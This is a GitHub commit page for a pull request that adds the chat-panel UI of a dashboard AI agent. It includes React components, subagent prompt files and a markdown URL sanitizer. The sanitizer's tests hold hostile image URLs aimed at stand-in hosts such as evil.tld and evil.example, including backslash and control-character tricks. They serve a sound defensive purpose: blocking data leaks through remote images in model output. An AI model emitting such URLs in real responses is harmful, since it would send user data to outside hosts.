feat(webapp): dashboard agent — UI (#4529)

Stacked on #4418. Merge that first.

The UI slice of the dashboard agent: the side panel, the chat transport
wiring, message and card rendering, suggested prompts, and chat history.
#4418 works without this — the system is simply invisible. The diff is
mostly components, so the notes below cover only the three decisions you
can't read off the markup. Behavior and a hands-on walkthrough live in
GUIDEBOOK.md, which lands with #4525.

## Decisions worth knowing

- **Action rows always render at the end of a turn.** The model's
emission order isn't trusted for layout, so action blocks are split out
of the stream and appended last. Display only — `answered` stays keyed
on the emission index.
- **The last-chat memory is org-true.** It's keyed by the chat's own
organization, and a foreign or deleted chat comes back as a 404 the
client treats as gone, rather than an empty chat it keeps around.
- **A dead stream self-heals from the settled transcript.** Terminal
records are written to the chat row after the client's stream closes, so
the panel re-reads it. The poll gate is any unfinished turn — a dangling
tool part, not just an open investigation.

## Notes

- Gated by `canAccessDashboardAgent`; no behavior change with the flag
off.
- Page marks: `handle.agentPageContext` on 47 routes, ~20 lines each.
- Entry points: Ask Trigger button, ⌘J, Help & Feedback. The old ⌘I and
`?aiHelp=` links keep working.

## Screenshots

<img width="1440" height="788" alt="Screenshot 2026-08-07 at 15 14 29"
src="https://github.com/user-attachments/assets/f4e89e8d-13ed-4be3-a88d-d5cca3ece0fa"
/>
This commit is contained in:
Katia Bulatova
2026-08-12 08:38:59 +02:00
committed by GitHub
parent 4569657923
commit 9a3bee0288
204 changed files with 15381 additions and 1156 deletions
+1 -1
View File
@@ -4,4 +4,4 @@
"trigger.dev": patch
---
Chat in the browser now reconnects when the connection drops mid-turn, instead of leaving the reply stuck as if it were still generating. Reports can be fetched as structured data with the `json` format, and the shortest report period is now one minute (`30m`, `1h`, `7d`). The `mint-token` command's help is clearer too: a token minted without `--cap` is read-only, and `--ttl` shows the correct maximum lifetime of 7 days.
Chat in the browser now reconnects when the connection drops mid-turn, instead of leaving the reply stuck as if it were still generating. Reports can be fetched as structured data with the `json` format, and the shortest report period is now one minute (`1m`, `30m`, `1h`, `7d`). The `mint-token` command's help is clearer too: a token minted without `--cap` is read-only, and `--ttl` shows the correct maximum lifetime of 7 days.
+13
View File
@@ -0,0 +1,13 @@
---
name: code-reviewer
description: Adversarially verifies one landed packet against its requirement; read-only.
model: opus
---
You are an adversarial code reviewer for one landed packet. READ-ONLY: never modify code, never commit, never push, never post to GitHub.
- Try to refute that the change answers its stated requirement; look for the failure scenario, not confirmation.
- Check the diff for unrelated drift, dead code, broken semantics of neighbors, and whether tests prove the actual invariant (would the test fail if the fix were subtly wrong?).
- Check the change landed in the correct PR/branch of the stack.
- Distinguish fact from inference; cite exact file:line evidence.
- Return: verdict (approve / needs-changes) with evidence per concern, and the exact minimal correction when needs-changes.
+16
View File
@@ -0,0 +1,16 @@
---
name: code-writer
description: Implements exactly one work packet — minimal diff, targeted checks, own-paths-only commits.
model: opus
---
You are a code writer. Implement exactly the one work packet in your prompt.
- Minimal diff; match surrounding style and idiom.
- Prefer no comment at all; comment only a non-obvious constraint, max 2 short lines. All texts (comments, commit messages) short, clear, simple.
- Verify the packet's own diagnosis against the code before applying; if it is wrong, STOP without committing and report why.
- Run only the targeted checks for your packet: the relevant vitest files, `pnpm run typecheck --filter <pkg>` when the change warrants it. Never full suites unless asked.
- `pnpm run format` on touched files before committing.
- Stage and commit ONLY your packet's files. Conventional commit message. NO Claude attribution, no Co-Authored-By.
- Push only if the packet explicitly says to.
- Return: what changed, evidence (test output), commit SHA, and anything contradicting the diagnosis.
+12
View File
@@ -0,0 +1,12 @@
---
name: software-architect
description: Resolves contested design questions against the specs; decision + rationale, never code.
model: opus
---
You are a software architect. Resolve exactly the contested design question in your prompt against the given specs/contracts. READ-ONLY.
- Ground the decision in the actual code and the project's design contracts (GUIDEBOOK, Linear specs) — not in generic best practice.
- Weigh stack boundaries: which PR owns the change, what merges independently.
- Prefer the smallest decision that unblocks the packet; flag speculative architecture rather than endorsing it.
- Return: the decision, its rationale, rejected alternatives (one line each), and exactly what the dependent packet should do.
+31 -47
View File
@@ -1,7 +1,7 @@
/**
* @deprecated Superseded by the dashboard agent (`components/dashboard-agent`). Nothing mounts
* this any more — every Ask AI entry point now opens Ask Trigger. Kept until the agent has
* shipped, then removed along with `@kapaai/react-sdk` and `KAPA_AI_WEBSITE_ID`.
* Mostly superseded by the dashboard agent (`components/dashboard-agent`), which owns every
* entry point except two: ⌘I and the CLI's `?aiHelp=` link still open Ask AI. `AskAIRoot` is
* mounted by the `_app` layout for those; the `AskAI` button below is mounted nowhere.
*/
import {
@@ -17,13 +17,17 @@ import { useSearchParams } from "@remix-run/react";
import DOMPurify from "dompurify";
import { motion } from "framer-motion";
import { marked } from "marked";
import { type ReactNode, useCallback, useEffect, useRef, useState } from "react";
import { useTypedRouteLoaderData } from "remix-typedjson";
import { useCallback, useEffect, useRef, useState } from "react";
import { AISparkleIcon } from "~/assets/icons/AISparkleIcon";
import { SparkleListIcon } from "~/assets/icons/SparkleListIcon";
import { useFeatures } from "~/hooks/useFeatures";
import { useAskAiAvailability } from "~/hooks/useAskAiAvailability";
import { useShortcutKeys } from "~/hooks/useShortcutKeys";
import { type loader } from "~/root";
import {
ASK_AI_DEEP_LINK_PARAM,
ASK_AI_SHORTCUT,
askAiCanOpen,
} from "./dashboard-agent/ask-ai-channels";
import { useAskAiHost } from "./dashboard-agent/askAiOpenRequest";
import { Button } from "./primitives/Buttons";
import { Callout } from "./primitives/Callout";
import { Dialog, DialogContent, DialogHeader, DialogTitle } from "./primitives/Dialog";
@@ -40,11 +44,6 @@ import {
} from "./primitives/Tooltip";
import { ClientOnly } from "remix-utils/client-only";
function useKapaWebsiteId() {
const routeMatch = useTypedRouteLoaderData<typeof loader>("root");
return routeMatch?.kapa.websiteId;
}
/** Open/close state for the Ask AI dialog, including the `?aiHelp=` deep-link handling. */
function useAskAIState() {
const [isOpen, setIsOpen] = useState(false);
@@ -67,14 +66,14 @@ function useAskAIState() {
// Handle URL param functionality
useEffect(() => {
const aiHelp = searchParams.get("aiHelp");
const aiHelp = searchParams.get(ASK_AI_DEEP_LINK_PARAM);
if (aiHelp) {
// Delay to avoid hCaptcha bot detection
window.setTimeout(() => openAskAI(aiHelp), 1000);
// Clone instead of mutating in place
const next = new URLSearchParams(searchParams);
next.delete("aiHelp");
next.delete(ASK_AI_DEEP_LINK_PARAM);
setSearchParams(next);
}
}, [searchParams, openAskAI]);
@@ -83,45 +82,30 @@ function useAskAIState() {
}
/**
* Hosts Ask AI (Kapa provider, ⌘I shortcut, dialog) for a menu that renders its own trigger. Wrap
* it around the popover, not inside, so the dialog and shortcut survive the popover closing.
* `children` receives the open function, or undefined when Ask AI is unavailable (self-hosted, no
* Kapa website id, or SSR).
*
* @deprecated See the note at the top of this file.
* Hosts Ask AI (Kapa provider, ⌘I shortcut, dialog). It renders no page content and wraps
* nothing: entry points reach it through `requestAskAi`, so the Kapa provider mounting after
* hydration can never remount the app around it.
*/
export function AskAIRoot({
children,
}: {
children: (openAskAI: (() => void) | undefined) => ReactNode;
}) {
const { isManagedCloud } = useFeatures();
const websiteId = useKapaWebsiteId();
export function AskAIRoot() {
const availability = useAskAiAvailability();
if (!isManagedCloud || !websiteId) {
return <>{children(undefined)}</>;
if (!askAiCanOpen(availability)) {
return null;
}
return (
<ClientOnly fallback={<>{children(undefined)}</>}>
{() => <AskAIRootProvider websiteId={websiteId}>{children}</AskAIRootProvider>}
</ClientOnly>
);
const websiteId = availability.kapaWebsiteId!;
return <ClientOnly>{() => <AskAIRootProvider websiteId={websiteId} />}</ClientOnly>;
}
function AskAIRootProvider({
websiteId,
children,
}: {
websiteId: string;
children: (openAskAI: () => void) => ReactNode;
}) {
function AskAIRootProvider({ websiteId }: { websiteId: string }) {
const { isOpen, setIsOpen, initialQuery, openAskAI, closeAskAI } = useAskAIState();
useShortcutKeys({
shortcut: { modifiers: ["mod"], key: "i", enabledOnInputElements: true },
shortcut: ASK_AI_SHORTCUT,
action: () => openAskAI(),
});
useAskAiHost(openAskAI);
return (
<KapaProvider
@@ -134,7 +118,6 @@ function AskAIRootProvider({
}}
botProtectionMechanism="hcaptcha"
>
{children(() => openAskAI())}
<AskAIDialog
initialQuery={initialQuery}
isOpen={isOpen}
@@ -145,15 +128,16 @@ function AskAIRootProvider({
);
}
/** @deprecated See the note at the top of this file. */
/** @deprecated Mounted nowhere: the sidebar's AI entry point is the dashboard agent. */
export function AskAI({ isCollapsed = false }: { isCollapsed?: boolean }) {
const { isManagedCloud } = useFeatures();
const websiteId = useKapaWebsiteId();
const availability = useAskAiAvailability();
if (!isManagedCloud || !websiteId) {
if (!askAiCanOpen(availability)) {
return null;
}
const websiteId = availability.kapaWebsiteId!;
return (
<ClientOnly
fallback={
+58 -47
View File
@@ -35,7 +35,7 @@ import {
v3NewProjectAlertPath,
v3NewSchedulePath,
} from "~/utils/pathBuilder";
import { AskAI } from "./AskAI";
import { AskAgentButton } from "./dashboard-agent/AskAgentButton";
import { CodeBlock } from "./code/CodeBlock";
import { useDevPresence } from "./DevPresence";
import { InlineCode } from "./code/InlineCode";
@@ -65,6 +65,55 @@ import {
import { StepContentContainer } from "./StepContentContainer";
import { V4Badge } from "./V4Badge";
/**
* What the agent is asked when it's opened from a deployment setup panel. The panel is the docs
* answer; the agent is for the part the docs can't answer — this project, this environment.
*/
const ASK_AGENT_DEPLOY_PROMPT =
"I'm trying to deploy my tasks to this environment. Walk me through it and tell me if anything about this project or environment is going to get in the way.";
/** The docs links the deployment panels offer to anyone without the agent. */
function DeployDocsLinks() {
return (
<>
<SimpleTooltip
asChild
tabbable
button={
// Span wrapper: LinkButton drops the pointer-event props Radix injects via asChild, so
// the tooltip trigger has to be a plain element (same pattern as FavoritePageButton).
<span className="flex">
<LinkButton
variant="small-menu-item"
LeadingIcon={BookOpenIcon}
leadingIconClassName="text-blue-500"
to={docsPath("deployment/overview")}
aria-label="Deploy docs"
/>
</span>
}
content="Deploy docs"
/>
<SimpleTooltip
asChild
tabbable
button={
<span className="flex">
<LinkButton
variant="small-menu-item"
LeadingIcon={QuestionMarkCircleIcon}
leadingIconClassName="text-blue-500"
to={docsPath("troubleshooting#deployment")}
aria-label="Troubleshooting docs"
/>
</span>
}
content="Troubleshooting docs"
/>
</>
);
}
export function HasNoTasksDev({ initializedAt }: { initializedAt: Date | string | null }) {
const { isConnected } = useDevPresence();
const initialized = !!initializedAt;
@@ -330,29 +379,10 @@ export function DeploymentsNoneDev() {
<Header1>Deploy your tasks</Header1>
</div>
<div className="flex items-center">
<SimpleTooltip
button={
<LinkButton
variant="small-menu-item"
LeadingIcon={BookOpenIcon}
leadingIconClassName="text-blue-500"
to={docsPath("deployment/overview")}
/>
}
content="Deploy docs"
/>
<SimpleTooltip
button={
<LinkButton
variant="small-menu-item"
LeadingIcon={QuestionMarkCircleIcon}
leadingIconClassName="text-blue-500"
to={docsPath("troubleshooting#deployment")}
/>
}
content="Troubleshooting docs"
/>
<AskAI />
{/* One entry point instead of two: the docs links were a guess at which page you
needed, and the agent can look at this project and answer for it. Someone with no
agent still gets the links. */}
<AskAgentButton prompt={ASK_AGENT_DEPLOY_PROMPT} fallback={<DeployDocsLinks />} />
</div>
</div>
<StepNumber stepNumber="→" title="Switch to a deployed environment" />
@@ -718,29 +748,10 @@ function DeploymentOnboardingSteps() {
</Header1>
</div>
<div className="flex items-center">
<SimpleTooltip
button={
<LinkButton
variant="small-menu-item"
LeadingIcon={BookOpenIcon}
leadingIconClassName="text-blue-500"
to={docsPath("deployment/overview")}
/>
}
content="Deploy docs"
/>
<SimpleTooltip
button={
<LinkButton
variant="small-menu-item"
LeadingIcon={QuestionMarkCircleIcon}
leadingIconClassName="text-blue-500"
to={docsPath("troubleshooting#deployment")}
/>
}
content="Troubleshooting docs"
/>
<AskAI />
{/* One entry point instead of two: the docs links were a guess at which page you
needed, and the agent can look at this project and answer for it. Someone with no
agent still gets the links. */}
<AskAgentButton prompt={ASK_AGENT_DEPLOY_PROMPT} fallback={<DeployDocsLinks />} />
</div>
</div>
<ClientTabs defaultValue="github">
+50 -4
View File
@@ -1,5 +1,12 @@
import { KeyboardIcon } from "~/assets/icons/KeyboardIcon";
import { useState } from "react";
import { ASK_AGENT_LABEL } from "~/components/dashboard-agent/agent-identity";
import { type AiShortcutRow, aiShortcutRows } from "~/components/dashboard-agent/ai-entry-points";
import { ASK_AI_SHORTCUT, askAiCanOpen } from "~/components/dashboard-agent/ask-ai-channels";
import { useDashboardAgentAvailable } from "~/components/dashboard-agent/dashboardAgentOpenRequest";
import { NEW_CHAT_SHORTCUT } from "~/components/dashboard-agent/DashboardAgentHeader";
import { TOGGLE_PANEL_SHORTCUT } from "~/components/dashboard-agent/dashboardAgentLauncher";
import { useAskAiAvailability } from "~/hooks/useAskAiAvailability";
import { useShortcutKeys } from "~/hooks/useShortcutKeys";
import { Header3 } from "./primitives/Headers";
import { SideMenuItemButton } from "./navigation/SideMenuItem";
@@ -41,6 +48,11 @@ export function ShortcutsAutoOpen() {
}
function ShortcutContent() {
const agent = useDashboardAgentAvailable();
const askAi = askAiCanOpen(useAskAiAvailability());
const rows = aiShortcutRows({ agent, askAi });
const shows = (row: AiShortcutRow) => rows.includes(row);
return (
<SheetContent>
<SheetHeader>
@@ -62,10 +74,27 @@ function ShortcutContent() {
<ShortcutKey shortcut={{ modifiers: ["mod"] }} variant="medium/bright" />
<ShortcutKey shortcut={{ key: "enter" }} variant="medium/bright" />
</Shortcut>
<Shortcut name="Ask AI">
<ShortcutKey shortcut={{ modifiers: ["mod"] }} variant="medium/bright" />
<ShortcutKey shortcut={{ key: "i" }} variant="medium/bright" />
</Shortcut>
{shows("agent-toggle") && (
<Shortcut name={ASK_AGENT_LABEL}>
<ShortcutKey
shortcut={{ modifiers: TOGGLE_PANEL_SHORTCUT.modifiers }}
variant="medium/bright"
/>
<ShortcutKey
shortcut={{ key: TOGGLE_PANEL_SHORTCUT.key }}
variant="medium/bright"
/>
</Shortcut>
)}
{shows("ask-ai") && (
<Shortcut name="Ask AI">
<ShortcutKey
shortcut={{ modifiers: ASK_AI_SHORTCUT.modifiers }}
variant="medium/bright"
/>
<ShortcutKey shortcut={{ key: ASK_AI_SHORTCUT.key }} variant="medium/bright" />
</Shortcut>
)}
<Shortcut name="Filter">
<ShortcutKey shortcut={{ key: "f" }} variant="medium/bright" />
</Shortcut>
@@ -94,6 +123,23 @@ function ShortcutContent() {
<ShortcutKey shortcut={{ key: "h" }} variant="medium/bright" />
</Shortcut>
</div>
{shows("agent-new-chat") && (
<div className="space-y-3">
<Header3>Chat</Header3>
<Shortcut name="New chat">
<ShortcutKey
shortcut={{ modifiers: NEW_CHAT_SHORTCUT.modifiers }}
variant="medium/bright"
/>
<ShortcutKey shortcut={{ key: NEW_CHAT_SHORTCUT.key }} variant="medium/bright" />
</Shortcut>
{shows("agent-close-chat") && (
<Shortcut name="Close chat">
<ShortcutKey shortcut={{ key: "esc" }} variant="medium/bright" />
</Shortcut>
)}
</div>
)}
<div className="space-y-3">
<Header3>Runs page</Header3>
<Shortcut name="Bulk action: Cancel runs">
@@ -20,6 +20,16 @@ describe("restrictModelUrls (image src)", () => {
expect(restrictModelUrls("//evil.tld/pixel.gif", "src", img)).toBeUndefined();
});
it("drops a backslash-authority image, which the browser reads as protocol-relative", () => {
expect(restrictModelUrls("\\\\evil.example/pixel.gif", "src", img)).toBeUndefined();
expect(restrictModelUrls("/\\evil.example/pixel.gif", "src", img)).toBeUndefined();
});
it("drops an image hidden behind a leading C0 control, which the URL parser discards", () => {
expect(restrictModelUrls("\u0001//evil.tld/p.gif", "src", img)).toBeUndefined();
expect(restrictModelUrls("\u0000https://evil.tld/p.gif", "src", img)).toBeUndefined();
});
it("keeps inline and same-origin images", () => {
expect(restrictModelUrls("data:image/png;base64,AAAA", "src", img)).toBe(
"data:image/png;base64,AAAA"
@@ -12,18 +12,25 @@ const SAFE_LINK_SCHEMES = new Set(["http:", "https:", "mailto:"]);
export const restrictModelUrls: UrlTransform = (url, key, node) => {
const value = url.trim();
const isImage = node.tagName === "img" || key === "src" || key === "srcset";
// What the browser will actually resolve, which is not what `trim()` leaves: the URL parser
// drops C0 controls (`trim()` keeps them) and reads `\` as `/` for special schemes, so
// a leading-control `//evil.tld` and `\\evil.tld` both name a remote host. Classify on this; return the
// original `url` untouched whenever it is allowed.
const normalized = value
.replace(/[\u0000-\u001f]/g, "")
.replace(/^[/\\]+/, (run) => "/".repeat(run.length));
if (isImage) {
// Inline images carry their own bytes; a relative path resolves to our own origin.
if (/^data:/i.test(value) || /^blob:/i.test(value)) return url;
if (/^data:/i.test(normalized) || /^blob:/i.test(normalized)) return url;
// Absolute or protocol-relative means a remote host — strip it so nothing is fetched.
if (/^[a-z][a-z0-9+.-]*:/i.test(value) || value.startsWith("//")) return undefined;
if (/^[a-z][a-z0-9+.-]*:/i.test(normalized) || normalized.startsWith("//")) return undefined;
return url;
}
// Links: relative and protocol-relative are fine; otherwise require a safe scheme.
if (value.startsWith("//")) return url;
const schemeMatch = /^([a-z][a-z0-9+.-]*):/i.exec(value);
if (normalized.startsWith("//")) return url;
const schemeMatch = /^([a-z][a-z0-9+.-]*):/i.exec(normalized);
if (!schemeMatch) return url;
return SAFE_LINK_SCHEMES.has(`${schemeMatch[1].toLowerCase()}:`) ? url : undefined;
};
@@ -0,0 +1,31 @@
import type {
ActionsBlock as ActionsBlockPayload,
AgentIntent,
} from "@internal/dashboard-agent-contracts";
import { Button } from "~/components/primitives/Buttons";
import { ChatActionsRow } from "./chat-layout";
import { renderableActions } from "./view-actions";
export function ActionsBlock({
block,
onIntent,
}: {
block: ActionsBlockPayload;
onIntent?: (intent: AgentIntent) => void;
}) {
const renderable = renderableActions(block.actions);
if (!onIntent || renderable.length === 0) return null;
return (
<ChatActionsRow>
{renderable.map((action, i) => (
<Button
key={i}
variant={i === 0 ? "primary/small" : "secondary/small"}
onClick={() => onIntent(action.intent as AgentIntent)}
>
{action.label}
</Button>
))}
</ChatActionsRow>
);
}
@@ -1,18 +1,18 @@
import type { OutputColumnMetadata } from "@internal/clickhouse";
import type { ChartBlock } from "@internal/dashboard-agent";
import type { AgentIntent, ChartAction } from "@internal/dashboard-agent-contracts";
import { useEffect, useState } from "react";
import { QueryResultsChart } from "~/components/code/QueryResultsChart";
import type { ChartConfiguration } from "~/components/metrics/QueryWidget";
import { Spinner } from "~/components/primitives/Spinner";
import { Button } from "~/components/primitives/Buttons";
import { AgentSpinner } from "~/components/primitives/Spinner";
import { useOptionalEnvironment } from "~/hooks/useEnvironment";
import { useOptionalOrganization } from "~/hooks/useOrganizations";
import { useOptionalProject } from "~/hooks/useProject";
// Render an agent "chart" block by running its TRQL query through the dashboard's
// own /resources/metric endpoint (session-authed, returns rows + real column
// metadata) and feeding the result into QueryResultsChart. So the chart is live
// and matches the Query page exactly: the agent only emits the query + chart
// config, never the rows. Runs against the project/env the panel is open in.
import { cn } from "~/utils/cn";
import { AgentCard, AgentCardHeader } from "./agent-card";
import { ChatActionsRow } from "./chat-layout";
import { renderableActions } from "./view-actions";
type MetricResponse =
| { success: false; error: string }
@@ -25,6 +25,18 @@ type MetricResponse =
};
};
// `chartBlockBodySchema` carries only `period`, so scope and from/to are fixed here.
const CHART_SCOPE = "environment";
const CHART_FROM = null;
const CHART_TO = null;
// `min-h` as well: the chart draws nothing at zero height if a flex parent collapses it.
const CHART_HEIGHT_CLASS = "h-64 min-h-64";
const CHART_PADDING_CLASS = "px-2 pb-2 pt-4";
export const AGENT_CHART_PLOT_CLASS = `w-full ${CHART_PADDING_CLASS} ${CHART_HEIGHT_CLASS}`;
// Query errors can carry SQL and schema detail, so the real one only goes to the console.
const CHART_ERROR_MESSAGE = "This chart's query couldn't run.";
type ChartState =
| { status: "loading" }
| { status: "error"; error: string }
@@ -35,7 +47,39 @@ type ChartState =
timeRange?: { from: string; to: string };
};
export function AgentChart({ block }: { block: ChartBlock }) {
export function ChartActions({
actions,
onIntent,
}: {
actions: ChartAction[];
onIntent?: (intent: AgentIntent) => void;
}) {
const renderable = renderableActions(actions);
if (!onIntent || renderable.length === 0) return null;
return (
<div className="border-t border-grid-bright px-2 pb-2 pt-2">
<ChatActionsRow>
{renderable.map((action, i) => (
<Button
key={i}
variant={i === 0 ? "primary/small" : "secondary/small"}
onClick={() => onIntent(action.intent as AgentIntent)}
>
{action.label}
</Button>
))}
</ChatActionsRow>
</div>
);
}
export function AgentChart({
block,
onIntent,
}: {
block: ChartBlock;
onIntent?: (intent: AgentIntent) => void;
}) {
const organization = useOptionalOrganization();
const project = useOptionalProject();
const environment = useOptionalEnvironment();
@@ -46,8 +90,7 @@ export function AgentChart({ block }: { block: ChartBlock }) {
const environmentId = environment?.id;
useEffect(() => {
// The block can render before its `query` has finished streaming in; wait
// for it rather than POST an empty query (which 400s).
// The block can render before `query` has streamed in; an empty query 400s.
if (!block.query) return;
if (!organizationId || !projectId || !environmentId) {
setState({ status: "error", error: "No environment context to run the query." });
@@ -63,10 +106,10 @@ export function AgentChart({ block }: { block: ChartBlock }) {
organizationId,
projectId,
environmentId,
scope: "environment",
scope: CHART_SCOPE,
period: block.period ?? null,
from: null,
to: null,
from: CHART_FROM,
to: CHART_TO,
userAuthoredQuery: true,
}),
signal: controller.signal,
@@ -75,7 +118,8 @@ export function AgentChart({ block }: { block: ChartBlock }) {
.then((data) => {
if (controller.signal.aborted) return;
if (!data.success) {
setState({ status: "error", error: data.error });
console.error("Dashboard agent chart query failed:", data.error);
setState({ status: "error", error: CHART_ERROR_MESSAGE });
} else {
setState({
status: "ready",
@@ -87,7 +131,8 @@ export function AgentChart({ block }: { block: ChartBlock }) {
})
.catch((err) => {
if (controller.signal.aborted) return;
setState({ status: "error", error: err?.message ?? "The query failed to run." });
console.error("Dashboard agent chart request failed:", err);
setState({ status: "error", error: CHART_ERROR_MESSAGE });
});
return () => controller.abort();
}, [block.query, block.period, organizationId, projectId, environmentId]);
@@ -104,16 +149,16 @@ export function AgentChart({ block }: { block: ChartBlock }) {
};
return (
<div className="overflow-hidden rounded-lg border border-border-bright bg-background-dimmed">
<AgentCard>
{block.title ? (
<div className="border-b border-grid-bright bg-background-bright px-3 py-2 text-xs font-medium text-text-dimmed">
<AgentCardHeader className="text-xs font-medium text-text-dimmed">
{block.title}
</div>
</AgentCardHeader>
) : null}
<div className="h-64 w-full p-2">
<div className={cn(AGENT_CHART_PLOT_CLASS)}>
{state.status === "loading" ? (
<div className="flex h-full items-center justify-center gap-2 text-xs text-text-dimmed">
<Spinner className="size-3" />
<AgentSpinner size={12} />
Running query
</div>
) : state.status === "error" ? (
@@ -129,6 +174,7 @@ export function AgentChart({ block }: { block: ChartBlock }) {
/>
)}
</div>
</div>
<ChartActions actions={block.actions ?? []} onIntent={onIntent} />
</AgentCard>
);
}
@@ -0,0 +1,58 @@
import { Link } from "@remix-run/react";
import { LinkButton } from "~/components/primitives/Buttons";
import { useOrganization } from "~/hooks/useOrganizations";
import { cn } from "~/utils/cn";
import { v3BillingPath } from "~/utils/pathBuilder";
import { AgentIcon, AGENT_ICON_ACCENT_CLASS, ASK_AGENT_LABEL } from "./agent-identity";
// Matches the composer's outer geometry so the replacement lands in the same place.
const SLOT = "flex shrink-0 flex-col bg-background-bright px-3 pb-3 pt-1";
export function AgentUpgradeBlock({
limit,
context,
}: {
limit: number;
context?: React.ReactNode;
}) {
const organization = useOrganization();
return (
<div className={SLOT}>
{context}
<div className="mt-1.5 flex flex-col gap-2 rounded-md border border-border-bright bg-background-dimmed p-3">
<div className="flex items-center gap-1.5">
<AgentIcon className={cn("size-4 shrink-0", AGENT_ICON_ACCENT_CLASS)} />
<span className="text-sm font-medium text-text-bright">
Upgrade to unlock {ASK_AGENT_LABEL}
</span>
</div>
<p className="text-xs text-text-dimmed">
You've used all {limit} messages included on the Free plan. Your chats stay here to read.
</p>
<LinkButton variant="primary/small" to={v3BillingPath(organization)} fullWidth>
Upgrade
</LinkButton>
</div>
</div>
);
}
export function AgentQuotaNotice({ remaining, limit }: { remaining: number; limit: number }) {
const organization = useOrganization();
return (
<div className="flex shrink-0 items-center gap-1 bg-background-bright px-3 pb-2 text-xs text-text-dimmed">
<span>
{remaining} of {limit} free messages left
</span>
<span aria-hidden>·</span>
<Link
to={v3BillingPath(organization)}
className="text-text-link underline-offset-2 hover:underline"
>
Upgrade
</Link>
</div>
);
}
@@ -0,0 +1,53 @@
import { Button } from "~/components/primitives/Buttons";
import { SimpleTooltip } from "~/components/primitives/Tooltip";
import { AgentIcon, AGENT_ICON_ACCENT_CLASS, ASK_AGENT_LABEL } from "./agent-identity";
import { requestDashboardAgent, useDashboardAgentAvailable } from "./dashboardAgentOpenRequest";
// Goes through the open-request bridge rather than the provider context, so it works
// on pages above the environment layout.
export function AskAgentButton({
prompt,
label = ASK_AGENT_LABEL,
iconOnly = false,
variant = "small-menu-item",
className,
fallback = null,
}: {
prompt?: string;
label?: string;
iconOnly?: boolean;
variant?: "small-menu-item" | "secondary/small" | "primary/small";
className?: string;
fallback?: React.ReactNode;
}) {
const available = useDashboardAgentAvailable();
if (!available) return <>{fallback}</>;
const button = (
<Button
type="button"
variant={variant}
data-action="ask-agent"
LeadingIcon={AgentIcon}
leadingIconClassName={AGENT_ICON_ACCENT_CLASS}
className={className}
aria-label={iconOnly ? label : undefined}
onClick={() => requestDashboardAgent(prompt)}
>
{iconOnly ? undefined : label}
</Button>
);
return iconOnly ? (
<SimpleTooltip
asChild
tabbable
// Span wrapper: Button drops the pointer-event props Radix injects via asChild, so the
// tooltip trigger has to be a plain element (same pattern as dashboardAgentLauncher).
button={<span className="flex">{button}</span>}
content={label}
/>
) : (
button
);
}
@@ -1,53 +1,151 @@
import { useState } from "react";
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
import { useLocation } from "@remix-run/react";
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import {
ResizableHandle,
ResizablePanel,
ResizablePanelGroup,
} from "~/components/primitives/Resizable";
import { useShortcutKeys } from "~/hooks/useShortcutKeys";
import { useAskAiAvailability } from "~/hooks/useAskAiAvailability";
import { agentDeepLinkParams, ASK_AI_SHORTCUT, askAiChannelTarget } from "./ask-ai-channels";
import { DashboardAgentPanel } from "./DashboardAgentPanel";
import { DashboardAgentProvider } from "./dashboardAgentLauncher";
import { DashboardAgentProvider, TOGGLE_PANEL_SHORTCUT } from "./dashboardAgentLauncher";
import { useDashboardAgentOpenRequests } from "./dashboardAgentOpenRequest";
import {
agentHiddenContentClassName,
agentTakeoverClassName,
readAgentFullscreen,
writeAgentFullscreen,
} from "./panel-layout";
/**
* Mounts the dashboard agent in the env layout. Renders the page content
* (`children` = the route Outlet) and shares the open/close state via context so
* the page-header launcher (`DashboardAgentLauncher`) can toggle it. When open it
* splits the layout into a resizable content + agent panel, `autosaveId` persists
* the width.
*
* `hasAccess` is resolved server-side in the env layout loader
* (`canAccessDashboardAgent`); when false we render the content untouched and
* never expose the context, so the launcher stays hidden. The resource routes
* enforce the same check server-side.
*/
/** `hasAccess` is a UI gate only; the resource routes enforce the same check server-side. */
export function DashboardAgent({
children,
hasAccess = false,
promotedPrompt,
}: {
children: React.ReactNode;
hasAccess?: boolean;
promotedPrompt?: SuggestedPrompt;
}) {
const [open, setOpen] = useState(false);
// Read lazily so SSR always renders the side panel.
const [fullscreen, setFullscreen] = useState(readAgentFullscreen);
const toggleFullscreen = useCallback(() => {
setFullscreen((current) => {
writeAgentFullscreen(!current);
return !current;
});
}, []);
// Pathname only: filter and search-param changes must keep fullscreen.
const { pathname } = useLocation();
const previousPathname = useRef(pathname);
useEffect(() => {
if (previousPathname.current === pathname) return;
previousPathname.current = pathname;
setFullscreen((current) => {
if (current) writeAgentFullscreen(false);
return false;
});
}, [pathname]);
const [newChatSeq, setNewChatSeq] = useState(0);
const [requestedMessage, setRequestedMessage] = useState<
{ text: string; seq: number } | undefined
>(undefined);
const setPanelOpen = useCallback((next: boolean) => {
setOpen(next);
// Pending requests must be dropped or a stale one re-applies on the next open.
if (!next) {
setFullscreen(false);
writeAgentFullscreen(false);
setRequestedMessage(undefined);
}
}, []);
const openWith = useCallback((text: string) => {
const trimmed = text.trim();
if (!trimmed) return;
setOpen(true);
setRequestedMessage((current) => ({ text: trimmed, seq: (current?.seq ?? 0) + 1 }));
}, []);
// ⌘J is contextual: closed opens the panel, open starts a new chat. It never closes.
useShortcutKeys({
shortcut: TOGGLE_PANEL_SHORTCUT,
action: () => {
if (!open) {
setPanelOpen(true);
} else {
setNewChatSeq((seq) => seq + 1);
}
},
disabled: !hasAccess,
enabledOnInputElements: true,
});
// ⌘I and the CLI's `?aiHelp=` link are Ask AI's; the agent only answers them where Ask AI
// cannot open.
const askAi = useAskAiAvailability();
const ownsAskAiChannels = askAiChannelTarget(askAi) === "dashboard-agent";
useShortcutKeys({
shortcut: ASK_AI_SHORTCUT,
action: () => setPanelOpen(true),
disabled: !hasAccess || !ownsAskAiChannels,
enabledOnInputElements: true,
});
useDashboardAgentOpenRequests({
enabled: hasAccess,
openWith,
setOpen: setPanelOpen,
deepLinkParams: agentDeepLinkParams(askAi),
});
const context = useMemo(
() => ({ open, setOpen: setPanelOpen, openWith }),
[open, setPanelOpen, openWith]
);
if (!hasAccess) {
return <div className="h-full min-h-0">{children}</div>;
}
return (
<DashboardAgentProvider value={{ open, setOpen }}>
<DashboardAgentProvider value={context}>
{open ? (
<ResizablePanelGroup
orientation="horizontal"
autosaveId="dashboard-agent-split"
className="h-full min-h-0"
>
<ResizablePanel id="dashboard-content" min="320px">
<div className="h-full overflow-hidden">{children}</div>
</ResizablePanel>
<ResizableHandle id="dashboard-agent-handle" />
<ResizablePanel id="dashboard-agent-panel" default="380px" min="320px" max="720px">
